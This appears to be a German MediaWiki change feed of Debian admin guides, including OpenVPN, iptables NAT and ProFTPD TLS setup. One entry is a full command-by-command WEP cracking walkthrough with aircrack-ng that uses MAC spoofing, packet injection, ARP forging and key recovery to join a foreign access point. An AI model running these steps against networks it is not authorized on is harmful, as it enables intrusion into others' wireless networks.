&amp;quot;update-rc.d-insserv -f openvpn remove&amp;quot;(Debian Squeeze 6.0) und dann manuell mit&lt;br /&gt;
&amp;quot;openvpn --config /etc/openvpn/client.conf&amp;quot; gestartet werden.&lt;br /&gt;
Bei einem Windows Client muss die Endung &amp;quot;.ovpn&amp;quot; lauten:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # Diese Config initiiert einen Client&lt;br /&gt;
 client&lt;br /&gt;
 &lt;br /&gt;
 # zusaetzlich TLS-Authentication-Client&lt;br /&gt;
 tls-client&lt;br /&gt;
 &lt;br /&gt;
 # UDP ist Pflicht fuer TAP, wir nutzen aber TUN&lt;br /&gt;
 ;proto udp&lt;br /&gt;
 proto tcp&lt;br /&gt;
 &lt;br /&gt;
 # Das Device muss fuer bridging TAP sein, wir nutzen aber TUN&lt;br /&gt;
 ;dev tap&lt;br /&gt;
 dev tun&lt;br /&gt;
 &lt;br /&gt;
 # Remote-Server&lt;br /&gt;
 remote [IP des Servers] [Port des Servers]&lt;br /&gt;
 &lt;br /&gt;
 # Keinen lokalen Port festlegen&lt;br /&gt;
 nobind&lt;br /&gt;
 &lt;br /&gt;
 # Kompression&lt;br /&gt;
 comp-lzo&lt;br /&gt;
 &lt;br /&gt;
 #Verschluesselungs-Algorithmus&lt;br /&gt;
 cipher AES-256-CBC&lt;br /&gt;
 &lt;br /&gt;
 ca /etc/openvpn/keys/ca.crt&lt;br /&gt;
 cert /etc/openvpn/keys/[Client-Name].crt&lt;br /&gt;
 key /etc/openvpn/keys/[Client-Name].key&lt;br /&gt;
 &lt;br /&gt;
 # Folgendes auskommentieren wenn man nicht mit dem DNS des Server surfen moechte&lt;br /&gt;
 redirect-gateway&lt;br /&gt;
 &lt;br /&gt;
 # Weitere Configs&lt;br /&gt;
 resolv-retry infinite&lt;br /&gt;
 ns-cert-type server&lt;br /&gt;
 persist-key&lt;br /&gt;
 persist-tun&lt;br /&gt;
 verb 3&lt;br /&gt;
 float&lt;br /&gt;
 up /etc/openvpn/update-resolv-conf&lt;br /&gt;
 down /etc/openvpn/update-resolv-conf&lt;br /&gt;
 script-security 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun nur noch vom Server die Dateien /etc/openvpn/keys/ca.crt /etc/openvpn/keys/[Client-Name].crt&lt;br /&gt;
und /etc/openvpn/keys/[Client-Name].key auf den jeweiligen Client nach /etc/openvpn/keys kopieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FORWARD TRAFFIC VIA VPN&lt;br /&gt;
Falls man redirect-gateway am Client nutzen will, also ueber die Ip des Servers surfen moechte,&lt;br /&gt;
ist noch folgendes notwendig:&lt;br /&gt;
(Im Kernel werden dafuer folgende Module benoetigt: ip_tables ip_conntrack ip_conntrack_ftp ip_conntrack_irc&lt;br /&gt;
iptable_nat ip_nat_ftp und evtl ip_nat_irc)&lt;br /&gt;
&lt;br /&gt;
Im Server IP-Forwarding aktivieren waehrend der aktiven Laufzeit&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Um dies bei jedem Bootvorgang permanent zu machen, muss in /etc/sysctl.conf&lt;br /&gt;
 #net.ipv4.ip_forward=1&lt;br /&gt;
nach&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
geaendert werden.&lt;br /&gt;
&lt;br /&gt;
Dann muessen einige Iptables Regeln gesetzt werden (Interface eth0 muss evtl angepasst werden,&lt;br /&gt;
zb bei einem openvz VPS kann es venet0 sein, immer das Interface was die verbindung ins Internet hat):&lt;br /&gt;
 iptables -A FORWARD -i eth0 -o tun0 -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br /&gt;
 iptables -A FORWARD -s 10.11.12.0/24 -o eth0 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
Entweder wenn MASQUERADE auf dem Server aktiviert ist reicht folgendes:&lt;br /&gt;
 iptables -t nat -A POSTROUTING -s 10.11.12.0/24 -o eth0 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
Wenn nicht und man die Fehlermeldung &amp;quot;iptables: No chain/target/match by that name&amp;quot; bekommt, kann man noch diese Moeglichkeit probieren:&lt;br /&gt;
 iptables -t nat -A POSTROUTING -s 10.11.12.0/24 -j SNAT --to-source 1.1.1.1&lt;br /&gt;
(Die IP 1.1.1.1 MUSS gegen die oeffentliche IP des Servers gewechselt werden.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sobald alles wie gewollt laeuft, kann man die Regeln wie folgt speichern und beim Bootvorgang&lt;br /&gt;
automatisch laden lassen:&lt;br /&gt;
 iptables-save &amp;gt; /etc/iptables.up.rules&lt;br /&gt;
 nano /etc/network/if-pre-up.d/iptables&lt;br /&gt;
Hier fuegen wir folgende Zeilen ein:&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 /sbin/iptables-restore &amp;lt; /etc/iptables.up.rules&lt;br /&gt;
&lt;br /&gt;
Dann setzen wir noch folgende Rechte:&lt;br /&gt;
 chmod +x /etc/network/if-pre-up.d/iptables&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Basierend auf folgenden Anleitungen:&lt;br /&gt;
 http://blog.kleen.ch/2010/06/01/von-uberall-ins-lan-mittels-openvpn/&lt;br /&gt;
 http://sohonetwork.blogspot.de/2012/05/install-openvpn-ubuntu-vps-10-minutes.html&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=OPPs_Wiki:Impressum&amp;diff=113</id>
		<title>OPPs Wiki:Impressum</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=OPPs_Wiki:Impressum&amp;diff=113"/>
		<updated>2013-04-29T22:48:01Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OPPServer.net Wiki | OPPs Wiki&lt;br /&gt;
&lt;br /&gt;
Oliver Schütz (Admin von [http://oppserver.net OPPServer.net])&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=MediaWiki:Common.css&amp;diff=112</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=MediaWiki:Common.css&amp;diff=112"/>
		<updated>2013-04-29T21:04:30Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Das folgende CSS wird für alle Benutzeroberflächen geladen. */&lt;br /&gt;
pre {white-space:pre-wrap;}&lt;br /&gt;
background: #dfdfdf 0 0 no-repeat;&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=PROFTPD_TLS/SSL_FAQ&amp;diff=111</id>
		<title>PROFTPD TLS/SSL FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=PROFTPD_TLS/SSL_FAQ&amp;diff=111"/>
		<updated>2013-04-29T20:31:35Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „PROFTPD TLS/SSL FAQ (Stand 05.10.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net| http://unix.oppserver.net ]  MIT CACERT.org ZERTIFIKAT Al…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PROFTPD TLS/SSL FAQ (Stand 05.10.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net| http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
MIT CACERT.org ZERTIFIKAT&lt;br /&gt;
Als erstes wie hier&lt;br /&gt;
 http://unix.oppserver.net/debian/debian_openssl_installieren_und_certs_erstellen_faq&lt;br /&gt;
beschrieben ein SSL Cert erstellen (URL sollte mit dem Server Hostnamen uebereinstimmen).&lt;br /&gt;
&lt;br /&gt;
Dann stoppen wir den proftpd:&lt;br /&gt;
 sudo /etc/init.d/proftpd stop&lt;br /&gt;
&lt;br /&gt;
Dann in /etc/proftpd/ die proftpd.conf wie folgt ergaenzen/erweitern:&lt;br /&gt;
 (Vorlagen http://unix.oppserver.net/proftpd/sample-configurations/opp_example_proftpd.conf - http://unix.oppserver.net/proftpd/sample-configurations/opp_example_welcome.msg)&lt;br /&gt;
&lt;br /&gt;
Fuer tls-ssl und normalem login:&lt;br /&gt;
 &amp;lt;IfModule mod_tls.c&amp;gt;&lt;br /&gt;
 TLSEngine				on&lt;br /&gt;
 TLSLog 					/var/log/tls.log&lt;br /&gt;
 TLSProtocol				SSLv23&lt;br /&gt;
 #TLSOptions				NoCertRequest&lt;br /&gt;
 TLSOptions				NoSessionReuseRequired&lt;br /&gt;
 TLSRSACertificateFile			/usr/share/ssl-cert/URL.crt&lt;br /&gt;
 TLSRSACertificateKeyFile		/usr/share/ssl-cert/URL.key.decrypted&lt;br /&gt;
 TLSVerifyClient				off&lt;br /&gt;
 TLSRequired				off&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Fuer nur tls-ssl:&lt;br /&gt;
 &amp;lt;IfModule mod_tls.c&amp;gt;&lt;br /&gt;
 TLSEngine				on&lt;br /&gt;
 TLSLog 					/var/log/tls.log&lt;br /&gt;
 TLSProtocol				SSLv23&lt;br /&gt;
 #TLSOptions				NoCertRequest&lt;br /&gt;
 TLSOptions				NoSessionReuseRequired&lt;br /&gt;
 TLSRSACertificateFile			/usr/share/ssl-cert/URL.crt&lt;br /&gt;
 TLSRSACertificateKeyFile		/usr/share/ssl-cert/URL.key.decrypted&lt;br /&gt;
 TLSVerifyClient				off&lt;br /&gt;
 TLSRequired				on&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 sudo /etc/init.d/proftpd start&lt;br /&gt;
&lt;br /&gt;
OHNE CACERT.org ZERTIFIKAT&lt;br /&gt;
 sudo aptitude install openssl&lt;br /&gt;
 sudo /etc/init.d/proftpd stop&lt;br /&gt;
&lt;br /&gt;
 cd /etc/ssl/certs&lt;br /&gt;
 sudo bash -c &amp;quot;openssl genrsa 1024 &amp;gt; proftpd.key.pem&amp;quot;&lt;br /&gt;
 sudo chmod 400 proftpd.key.pem&lt;br /&gt;
 sudo bash -c &amp;quot;sudo openssl req -new -x509 -nodes -sha1 -days 3650 -key proftpd.key.pem &amp;gt; proftpd.cert.pem&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Hier nun die Fragen ausfuellen (. ist leer).&lt;br /&gt;
Dann in /etc/proftpd/ die proftpd.conf wie folgt ergaenzen/erweitern:&lt;br /&gt;
 (Vorlagen http://unix.oppserver.net/proftpd/sample-configurations/opp_example_proftpd.conf - http://unix.oppserver.net/proftpd/sample-configurations/opp_example_welcome.msg)&lt;br /&gt;
&lt;br /&gt;
Fuer tls-ssl und normalem login:&lt;br /&gt;
 &amp;lt;IfModule mod_tls.c&amp;gt;&lt;br /&gt;
 TLSEngine				on&lt;br /&gt;
 TLSLog 					/var/log/tls.log&lt;br /&gt;
 TLSProtocol				SSLv23&lt;br /&gt;
 #TLSOptions				NoCertRequest&lt;br /&gt;
 TLSOptions				NoSessionReuseRequired&lt;br /&gt;
 TLSRSACertificateFile			/etc/ssl/certs/proftpd.cert.pem&lt;br /&gt;
 TLSRSACertificateKeyFile		/etc/ssl/certs/proftpd.key.pem&lt;br /&gt;
 TLSVerifyClient				off&lt;br /&gt;
 TLSRequired				off&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Fuer nur tls-ssl:&lt;br /&gt;
 &amp;lt;IfModule mod_tls.c&amp;gt;&lt;br /&gt;
 TLSEngine				on&lt;br /&gt;
 TLSLog 					/var/log/tls.log&lt;br /&gt;
 TLSProtocol				SSLv23&lt;br /&gt;
 #TLSOptions				NoCertRequest&lt;br /&gt;
 TLSOptions				NoSessionReuseRequired&lt;br /&gt;
 TLSRSACertificateFile			/etc/ssl/certs/proftpd.cert.pem&lt;br /&gt;
 TLSRSACertificateKeyFile		/etc/ssl/certs/proftpd.key.pem&lt;br /&gt;
 TLSVerifyClient				off&lt;br /&gt;
 TLSRequired				on&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 sudo /etc/init.d/proftpd start&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Debian&amp;diff=110</id>
		<title>Debian</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Debian&amp;diff=110"/>
		<updated>2013-04-29T20:27:49Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[DEBIAN AUFRAEUMEN]]&lt;br /&gt;
* [[DEBIAN KERNEL BAUEN]]&lt;br /&gt;
* PAKETE PER APT INSTALLIEREN&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN SQUEEZE 6.0|SQUEEZE/6.0]]&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN LENNY 5.0|LENNY/5.0]]&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN ETCH 4.0|ETCH/4.0]]&lt;br /&gt;
* PAKETE ERSTELLEN&lt;br /&gt;
** [[DEBIAN SQUEEZE PAKETE ERSTELLEN|SQUEEZE/6.0]]&lt;br /&gt;
** [[DEBIAN LENNY PAKETE ERSTELLEN|LENNY/5.0]]&lt;br /&gt;
** [[DEBIAN ETCH PAKETE ERSTELLEN|ETCH/4.0]]&lt;br /&gt;
* [[DEBIAN OPENSSL UND CERTS FAQ]]&lt;br /&gt;
* [[DEBIAN OPENVPN FAQ]]&lt;br /&gt;
* [[PROFTPD TLS/SSL FAQ]]&lt;br /&gt;
* [[POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL Z.B. AUF EINEM ROOT/V-SERVER]]&lt;br /&gt;
* [[POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL AUF EINEM HOMESERVER]]&lt;br /&gt;
* [[ICINGA (NAGIOS FORK) INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[FIREFOX SYNC SERVER DEBIAN FAQ]]&lt;br /&gt;
* [[OPSI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[FAI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[RASPBIAN CHROOT FAQ]]&lt;br /&gt;
* [[GRUB SPLASHIMAGE UND BOOTSPLASH FAQ ]]&lt;br /&gt;
* [[NVIDIA 430GT HDMI AUDIO FAQ]]&lt;br /&gt;
* [[NVIDIA Point of View G210 HDMI AUDIO FAQ]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=MADWIFI-NG_UND_AIRCRACK-NG_BENUTZUNGS_UND_INSTALL_FAQ_AUF_DEBIAN&amp;diff=109</id>
		<title>MADWIFI-NG UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=MADWIFI-NG_UND_AIRCRACK-NG_BENUTZUNGS_UND_INSTALL_FAQ_AUF_DEBIAN&amp;diff=109"/>
		<updated>2013-04-29T20:24:39Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „MADWIFI-NG UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN (Stand 11.05.2010) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;MADWIFI-NG UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN (Stand 11.05.2010) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
INSTALL UND CONFIG MADWIFI-NG&lt;br /&gt;
&lt;br /&gt;
Als root anmelden:&lt;br /&gt;
sudo -s oder nur su -&lt;br /&gt;
&lt;br /&gt;
 aptitude install patch&lt;br /&gt;
 ifconfig ath0 down&lt;br /&gt;
 ifconfig wifi0 down&lt;br /&gt;
 cd /usr/local/src&lt;br /&gt;
 svn -r 4129 checkout http://svn.madwifi-project.org/madwifi/trunk/ madwifi-ng&lt;br /&gt;
 wget http://patches.aircrack-ng.org/madwifi-ng-r4073.patch&lt;br /&gt;
 cd madwifi-ng&lt;br /&gt;
 patch -Np1 -i ../madwifi-ng-r4073.patch&lt;br /&gt;
 ./scripts/madwifi-unload&lt;br /&gt;
 make&lt;br /&gt;
 make install&lt;br /&gt;
 depmod -ae&lt;br /&gt;
 modprobe ath_pci&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
INSTALL UND CONFIG AIRCRACK-NG&lt;br /&gt;
&lt;br /&gt;
 aptitude install build-essential subversion subversion-tools&lt;br /&gt;
 cd /usr/local/src&lt;br /&gt;
 svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng&lt;br /&gt;
 cd aircrack-ng&lt;br /&gt;
 make&lt;br /&gt;
 make install&lt;br /&gt;
&lt;br /&gt;
MONITORMODE EINSCHALTEN UND MAC ADRESSE AENDERN (FAKE MAC)&lt;br /&gt;
&lt;br /&gt;
 aptitude install macchanger&lt;br /&gt;
&lt;br /&gt;
 macchanger -s wifi0&lt;br /&gt;
&lt;br /&gt;
Hier nun die Current MAC: merken, um sie spaeter evtl. wieder auf den Original Wert zurueckzusetzen&lt;br /&gt;
&lt;br /&gt;
 macchanger -s wifi0 &amp;gt; /root/wifi0_original_mac&lt;br /&gt;
&lt;br /&gt;
So kann man sie auch einfach nach /root/wifi0_original_mac speichern.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 wlanconfig ath0 destroy&lt;br /&gt;
 ifconfig wifi0 down&lt;br /&gt;
 macchanger --mac=00:11:22:33:44:55 wifi0&lt;br /&gt;
Hiermit wurde nun die FAKE MAC 00:11:22:33:44:55 auf wifi0 gesetzt.&lt;br /&gt;
&lt;br /&gt;
 ifconfig wifi0 up&lt;br /&gt;
 wlanconfig ath0 create wlandev wifi0 wlanmode monitor&lt;br /&gt;
 ifconfig ath0 up&lt;br /&gt;
&lt;br /&gt;
Nun schauen wir uns die neue FAKEMAC von ath0 an:&lt;br /&gt;
 macchanger -s ath0&lt;br /&gt;
 &lt;br /&gt;
 Current MAC: 06:11:22:33:44:55 (unknown)&lt;br /&gt;
Das ist unsere FAKEMAC im folgenden Teil.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
####  WEP  ####&lt;br /&gt;
AIRCRACK-NG, AIRODUMP-NG UND AIRREPLAY-NG ANLEITUNG&lt;br /&gt;
&lt;br /&gt;
Injection testen:&lt;br /&gt;
 aireplay-ng -B -9 ath0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 airodump-ng ath0&lt;br /&gt;
&lt;br /&gt;
Mit strg-c einmal stoppen und sich die MAC Adresse (BSSID), den Channel (CH) und den Namen (ESSID) des WLan Routers merken.&lt;br /&gt;
&lt;br /&gt;
 airodump-ng -w /pfad/wohin/ivsout -c CH -d BSSID ath0&lt;br /&gt;
&lt;br /&gt;
Falls man nun hier schon einen verbunden Client sieht, kann man mit Methode 1 weiter machen, ohne Client nur mit Methode 2 oder 3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun einen weiteren root Terminal oeffnen:&lt;br /&gt;
&lt;br /&gt;
 cd /pfad/wohin/&lt;br /&gt;
 &lt;br /&gt;
 aireplay-ng -1 0 -e ESSID -a BSSID -h FAKEMAC ath0&lt;br /&gt;
&lt;br /&gt;
Dies sollte dann dabei herauskommen:&lt;br /&gt;
&lt;br /&gt;
 Sending Authentication Request&lt;br /&gt;
 Authentication successful&lt;br /&gt;
 Sending Association Request&lt;br /&gt;
 Association successful :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 1&lt;br /&gt;
 aireplay-ng -3 -b BSSID -h FAKEMAC ath0&lt;br /&gt;
Nun kann man im ersten root Terminal sehen das bei dem AP die Data Anzahl ziemlich schnell steig.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 2&lt;br /&gt;
 aireplay-ng -5 -b BSSID -h FAKEMAC ath0&lt;br /&gt;
&lt;br /&gt;
Warten bis ein Paket empfangen wurde und dann mit y &amp;gt; ENTER bestaetigen.&lt;br /&gt;
Dann sollte folgende Meldung erscheinen:&lt;br /&gt;
&lt;br /&gt;
 Saving keystream in fragment-xxxx-xxxxxx.xor&lt;br /&gt;
 Now you can build a packet with packetforge-ng out of that 1500 bytes keystream&lt;br /&gt;
&lt;br /&gt;
Falls dann auch durch mehrmaliges y &amp;gt; ENTER immer wieder ein Still nothing, trying another packet... erscheint mit STRG+C abbrechen und eine weitere Methode testen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 3&lt;br /&gt;
 aireplay-ng -4 -b BSSID -h FAKEMAC ath0&lt;br /&gt;
&lt;br /&gt;
Warten bist ein Paket empfangen wurde und dann mit y &amp;gt; ENTER bestaetigen.&lt;br /&gt;
Durchlaufen lassen bis 100%, dann sollte folgende Meldung erscheinen:&lt;br /&gt;
&lt;br /&gt;
 Saving plaintext in replay_xxx-xxxx-xxxxxx.cap&lt;br /&gt;
 Saving keystream in replay_xxx-xxxx-xxxxxx.xor&lt;br /&gt;
 &lt;br /&gt;
 Completed in xxxs (xxx bytes/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
NUR METHODE 2+3&lt;br /&gt;
Nun das empfangene in ein ARP Paket umwandeln:&lt;br /&gt;
&lt;br /&gt;
 packetforge-ng -0 -a BSSID -h FAKEMAC -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-xxxx-xxxxxx.xor -w arp-paket&lt;br /&gt;
&lt;br /&gt;
oder halt&lt;br /&gt;
&lt;br /&gt;
 packetforge-ng -0 -a BSSID -h FAKEMAC -k 255.255.255.255 -l 255.255.255.255.255 -y replay_xxx-xxxx-xxxxxx.xor -w arp-paket&lt;br /&gt;
&lt;br /&gt;
Darauf sollte folgende Ausgabe erscheinen:&lt;br /&gt;
&lt;br /&gt;
 Wrote packet to: arp-paket&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -2 -r arp-paket ath0&lt;br /&gt;
&lt;br /&gt;
 mit y &amp;gt; ENTER bestaetigen&lt;br /&gt;
&lt;br /&gt;
Nun kann man im ersten root Terminal sehen das bei dem AP die Data Anzahl ziemlich schnell steig.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 1+2+3&lt;br /&gt;
Nun oeffnen wir den 3 root Terminal:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z -b BSSID ivsout*.cap&lt;br /&gt;
&lt;br /&gt;
Dann sollte folgendes nach kurz oder lang erscheinen:&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ xx:xx:xx:xx:xx ] (ASCII: AT.HA )&lt;br /&gt;
         Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
Nun koennen wir erstmal aireplay und airodump in den ersten 2 root Terminals mit STRG+C beenden und loggen uns wie folgt auf dem AP an:&lt;br /&gt;
&lt;br /&gt;
 wlanconfig ath0 destroy&lt;br /&gt;
 wlanconfig ath0 create wlandev wifi0 wlanmode managed&lt;br /&gt;
 ifconfig ath0 down&lt;br /&gt;
 iwconfig ath0 essid ESSID channel CH key xx:xx:xx:xx:xx&lt;br /&gt;
 ifconfig ath0 up&lt;br /&gt;
 aptitude install dhcpcd&lt;br /&gt;
 dhcpcd ath0&lt;br /&gt;
&lt;br /&gt;
Dabei sollte nun folgendes erscheinen:&lt;br /&gt;
 interface ath0 has been configured with new IP=xxx.xxx.xxx.xxx&lt;br /&gt;
&lt;br /&gt;
HF ;)&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=MediaWiki:Sidebar&amp;diff=108</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=MediaWiki:Sidebar&amp;diff=108"/>
		<updated>2013-04-29T20:16:49Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
* navigation&lt;br /&gt;
** mainpage|mainpage-description&lt;br /&gt;
** linux|Linux Allgemein&lt;br /&gt;
** debian|Debian&lt;br /&gt;
** opsi|OPSI&lt;br /&gt;
** fai|FAI&lt;br /&gt;
** wifi|WiFi&lt;br /&gt;
** recentchanges-url|recentchanges&lt;br /&gt;
** randompage-url|randompage&lt;br /&gt;
* SEARCH&lt;br /&gt;
* TOOLBOX&lt;br /&gt;
* LANGUAGES&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=IWL_UND_AIRCRACK-NG_BENUTZUNGS_UND_INSTALL_FAQ_AUF_DEBIAN&amp;diff=107</id>
		<title>IWL UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=IWL_UND_AIRCRACK-NG_BENUTZUNGS_UND_INSTALL_FAQ_AUF_DEBIAN&amp;diff=107"/>
		<updated>2013-04-29T20:15:53Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „IWL UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN (Stand 15.04.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppser…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;IWL UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN (Stand 15.04.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
INSTALL UND CONFIG IWL&lt;br /&gt;
&lt;br /&gt;
 sudo aptitude install libnl-dev libssl-dev&lt;br /&gt;
 sudo mkdir /usr/local/src/iwl&lt;br /&gt;
 cd /usr/local/src/iwl&lt;br /&gt;
 sudo rm -r iwlwifi-5000*&lt;br /&gt;
 sudo wget http://intellinuxwireless.org/iwlwifi/downloads/iwlwifi-5000-ucode-8.83.5.1-1.tar.gz&lt;br /&gt;
 sudo tar -vxzf iwlwifi-5000-ucode-8.83.5.1-1.tar.gz&lt;br /&gt;
 sudo wget http://intellinuxwireless.org/iwlwifi/downloads/iwlwifi-5000-ucode-8.24.2.12.tgz&lt;br /&gt;
 sudo tar -vxzf iwlwifi-5000-ucode-8.24.2.12.tgz&lt;br /&gt;
 sudo cp -r ./iwlwifi-5000-ucode-*/*.ucode /lib/firmware/&lt;br /&gt;
&lt;br /&gt;
Folgendes wird nur fuer Kernel unter 2.6.31 benoetigt:&lt;br /&gt;
 sudo rm -r compat-wireless-* Download*&lt;br /&gt;
 sudo wget http://wireless.kernel.org/en/users/Download&lt;br /&gt;
 sudo wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2.6.tar.bz2&lt;br /&gt;
 sudo tar xvfj compat-wireless-2.6.tar.bz2&lt;br /&gt;
 cd compat-wireless-*&lt;br /&gt;
 sudo wget http://patches.aircrack-ng.org/mac80211_2.6.28-rc4-wl_frag+ack_v3.patch&lt;br /&gt;
 sudo patch -p1 &amp;lt; mac80211_2.6.28-rc4-wl_frag+ack_v3.patch&lt;br /&gt;
 sudo wget http://patches.aircrack-ng.org/mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch&lt;br /&gt;
 sudo patch -p1 &amp;lt; mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch&lt;br /&gt;
 sudo wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch&lt;br /&gt;
 sudo patch -p1 &amp;lt; mac80211.compat08082009.wl_frag+ack_v1.patch&lt;br /&gt;
 &lt;br /&gt;
 sudo make -j4&lt;br /&gt;
 sudo make install&lt;br /&gt;
 sudo rmmod iwlwifi&lt;br /&gt;
 sudo rmmod iwlagn&lt;br /&gt;
 sudo rmmod iwlcore&lt;br /&gt;
 sudo rmmod mac80211&lt;br /&gt;
 sudo make unload&lt;br /&gt;
 sudo make wlunload&lt;br /&gt;
 sudo make btunload&lt;br /&gt;
&lt;br /&gt;
Ab hier auch wieder fuer 2.6.31+ benoetigt.&lt;br /&gt;
 sudo su -c &#039;echo options iwl4965 swcrypto50=1 &amp;gt; /etc/modprobe.d/iwl_options.conf&#039;&lt;br /&gt;
 sudo su -c &#039;echo options iwl5000 swcrypto50=1 &amp;gt;&amp;gt; /etc/modprobe.d/iwl_options.conf&#039;&lt;br /&gt;
 sudo su -c &#039;echo options iwlagn swcrypto=1 &amp;gt;&amp;gt; /etc/modprobe.d/iwl_options.conf&#039;&lt;br /&gt;
&lt;br /&gt;
Nun einmal rebooten.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
INSTALL UND CONFIG AIRCRACK-NG&lt;br /&gt;
&lt;br /&gt;
Passende Kernel Headers und GCC muessen vorhanden sein und zum laufenden Kernel passen:&lt;br /&gt;
